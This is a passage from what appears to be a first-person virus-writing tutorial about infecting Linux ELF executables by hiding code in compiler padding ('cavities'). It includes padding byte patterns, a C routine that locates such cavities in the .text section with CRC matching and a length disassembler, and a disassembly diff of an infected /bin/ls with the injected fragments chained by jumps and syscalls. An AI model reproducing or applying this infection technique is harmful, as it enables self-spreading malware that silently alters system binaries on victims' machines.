{0x8d,0x76,0x00, /* leal 0(%esi),%esi */
0x8d,0xbc,0x27,0x00,0x00,0x00,0x00}; /* leal 0L(%edi,1),%edi */
{0x8d,0x74,0x26,0x00, /* leal 0(%esi,1),%esi */
0x8d,0xbc,0x27,0x00,0x00,0x00,0x00}; /* leal 0L(%edi,1),%edi */
{0x8d,0xb6,0x00,0x00,0x00,0x00, /* leal 0L(%esi),%esi */
0x8d,0xbf,0x00,0x00,0x00,0x00}; /* leal 0L(%edi),%edi */
{0x8d,0xb6,0x00,0x00,0x00,0x00, /* leal 0L(%esi),%esi */
0x8d,0xbc,0x27,0x00,0x00,0x00,0x00}; /* leal 0L(%edi,1),%edi */
{0x8d,0xb4,0x26,0x00,0x00,0x00,0x00, /* leal 0L(%esi,1),%esi */
0x8d,0xbc,0x27,0x00,0x00,0x00,0x00}; /* leal 0L(%edi,1),%edi */
{0xeb,0x0d,0x90,0x90,0x90,0x90,0x90, /* jmp .+15; lotsa nops */
0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90};
This sequences could be found in the .text section, but to avoid the
false positives the search must be started on the instruction boundary.
The Intel instructions has complex format and in order to determine the
length of instruction correctly, the virus should use special library -
length disassembler. A length disassembler to the contrary to regular
ones would not even try to recover the instruction mnemonics and
operands, but just returns the length of instruction or error, if the
input doesn't look like a machine code. There are many libraries of
that kind: LDE, RGBLDE, Catchy etc I will use MLDE32.
/* examples/Cavity.Functions/check_range.c */
static cell_t *check_range(uint8_t *start, uint8_t *end)
{
cell_t *list = NULL;
uint8_t *ptr = start;
int op_len, i, s;
struct {
uint32_t len, crc;
} p[10];
p[0].len = 15; p[0].crc = 0x11d50a7f;
p[1].len = 14; p[1].crc = 0xe4ad564a;
p[2].len = 15; p[2].crc = 0xd5cae9dc;
p[3].len = 13; p[3].crc = 0xd6b6dcfd;
p[4].len = 12; p[4].crc = 0x19fbc1f4;
p[5].len = 11; p[5].crc = 0x34a6685b;
p[6].len = 10; p[6].crc = 0x74d8dd25;
p[7].len = 9; p[7].crc = 0x6ed89f27;
p[8].len = 8; p[8].crc = 0xb7109f48;
p[9].len = 7; p[9].crc = 0x5d30a0da;
while (ptr < end) {
_next: for (i = 0; i < 10; i++)
if (crc32(0, ptr, p[i].len) == p[i].crc) {
cell_t *q, *tmp;
if ((tmp = malloc(sizeof(cell_t))) == NULL
) {
_error: free_list(list);
return NULL;
}
s = i == 2 ? 2 : 1;
tmp->ptr = ptr + s;
tmp->len = p[i].len - s;
tmp->next = NULL;
if (list == NULL || tmp->len > list->len)
{
tmp->next = list;
list = tmp;
} else {
q = list;
while (q->next != NULL && q->next-
>len > tmp->len)
q = q->next;
tmp->next = q->next;
q->next = tmp;
}
ptr += p[i].len;
goto _next;
}
if ((op_len = mlde32(ptr)) <= 0) /* "Illegal instru
ction! */
goto _error;
ptr += op_len;
}
return list;
}
To prevent the program from falling through to virus code, I will use
only those fragments which are located after the RET (0xC3)
instruction.
The search routine was changed (the section name is .text not .data)
and I had returned to the pointers again. No more changes.
Let's see how the infected file been changed:
< /bin/ls: file format elf32-i386
---
> ./ls: file format elf32-i386
4593,4594c4593,4598
< 804d9c2: 8d b4 26 00 00 00 00 lea 0x0(%esi),%esi
< 804d9c9: 8d bc 27 00 00 00 00 lea 0x0(%edi),%edi
---
> 804d9c2: 60 pusha
> 804d9c3: 95 xchg %eax,%ebp
> 804d9c4: 8b 5c 24 24 mov 0x24(%esp),%ebx
> 804d9c8: b0 05 mov $0x5,%al
> 804d9ca: e9 93 83 00 00 jmp 8055d62
> 804d9cf: 90 nop
10307,10308c10311,10315
< 8052aa2: 8d b4 26 00 00 00 00 lea 0x0(%esi),%esi
< 8052aa9: 8d bc 27 00 00 00 00 lea 0x0(%edi),%edi
---
> 8052aa2: b0 5a mov $0x5a,%al
> 8052aa4: cd 80 int $0x80
> 8052aa6: ff e0 jmp *%eax
> 8052aa8: 00 8d bc 27 00 00 add %cl,0x27bc(%ebp)
> 8052aae: 00 00 add %al,(%eax)
10345,10346c10352,10359
< 8052b02: 8d b4 26 00 00 00 00 lea 0x0(%esi),%esi
< 8052b09: 8d bc 27 00 00 00 00 lea 0x0(%edi),%edi
---
> 8052b02: 51 push %ecx
> 8052b03: 6a 04 push $0x4
> 8052b05: 51 push %ecx
> 8052b06: 49 dec %ecx
> 8052b07: 51 push %ecx
> 8052b08: 89 e3 mov %esp,%ebx
> 8052b0a: e9 93 ff ff ff jmp 8052aa2
> 8052b0f: 90 nop
14508,14509c14521,14525
< 8055d62: 8d b4 26 00 00 00 00 lea 0x0(%esi),%esi
< 8055d69: 8d bc 27 00 00 00 00 lea 0x0(%edi),%edi
---
> 8055d62: cd 80 int $0x80
> 8055d64: 68 00 60 01 00 push $0x16000
> 8055d69: 50 push %eax
> 8055d6a: 41 inc %ecx
> 8055d6b: e9 92 cd ff ff jmp 8052b02